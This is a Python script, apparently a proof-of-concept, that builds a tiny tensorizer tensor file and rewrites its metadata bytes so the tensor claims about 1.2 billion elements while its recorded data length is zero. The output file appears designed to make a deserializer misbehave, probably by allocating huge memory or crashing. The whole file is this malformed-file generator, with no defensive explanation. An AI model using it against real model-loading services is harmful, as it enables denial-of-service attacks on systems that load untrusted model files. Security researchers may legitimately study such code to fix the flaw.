#!/usr/bin/env python3
import argparse
import pathlib
import struct
import tempfile

import torch
from tensorizer.serialization import TensorDeserializer, TensorSerializer, TensorType


ENTRY_SHAPE_OFFSET = 9
ENTRY_DATA_LENGTH_OFFSET = 29
ENTRY_LOCATION_PREFIX_LEN = 13
HEADER_SHAPE_OFFSET = 19
HEADER_DATA_LENGTH_OFFSET = 66


def build_seed(path: pathlib.Path) -> None:
    serializer = TensorSerializer(str(path))
    serializer.write_tensor(0, "w", TensorType.PARAM, torch.zeros(1, dtype=torch.uint8))
    serializer.close()


def patch_file(seed_path: pathlib.Path, out_path: pathlib.Path, shape: int) -> None:
    deserializer = TensorDeserializer(str(seed_path), num_readers=1)
    entry = next(iter(deserializer._metadata.values()))
    header_offset = entry.offset

    location_bytes = struct.pack(
        "<QQQ",
        entry.offset,
        entry.data_offset,
        entry.data_length,
    )
    data = bytearray(seed_path.read_bytes())
    location_pos = data.find(location_bytes)
    if location_pos < 0:
        raise RuntimeError("could not locate metadata location triple in seed file")
    entry_offset = location_pos - ENTRY_LOCATION_PREFIX_LEN
    if entry_offset < 0:
        raise RuntimeError("computed negative metadata entry offset")

    struct.pack_into("<I", data, entry_offset + ENTRY_SHAPE_OFFSET, shape)
    struct.pack_into("<Q", data, entry_offset + ENTRY_DATA_LENGTH_OFFSET, 0)
    struct.pack_into("<I", data, header_offset + HEADER_SHAPE_OFFSET, shape)
    struct.pack_into("<q", data, header_offset + HEADER_DATA_LENGTH_OFFSET, 0)

    out_path.write_bytes(data)


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--shape", type=int, default=1_200_000_000)
    parser.add_argument(
        "--out",
        type=pathlib.Path,
        default=pathlib.Path("tensorizer-huge-shape-zero-meta.tensors"),
    )
    args = parser.parse_args()

    with tempfile.TemporaryDirectory(prefix="tensorizer_seed_") as tmp:
        seed_path = pathlib.Path(tmp) / "seed.tensors"
        build_seed(seed_path)
        patch_file(seed_path, args.out, args.shape)

    print(f"wrote {args.out} ({args.out.stat().st_size} bytes) with shape={args.shape}")


if __name__ == "__main__":
    main()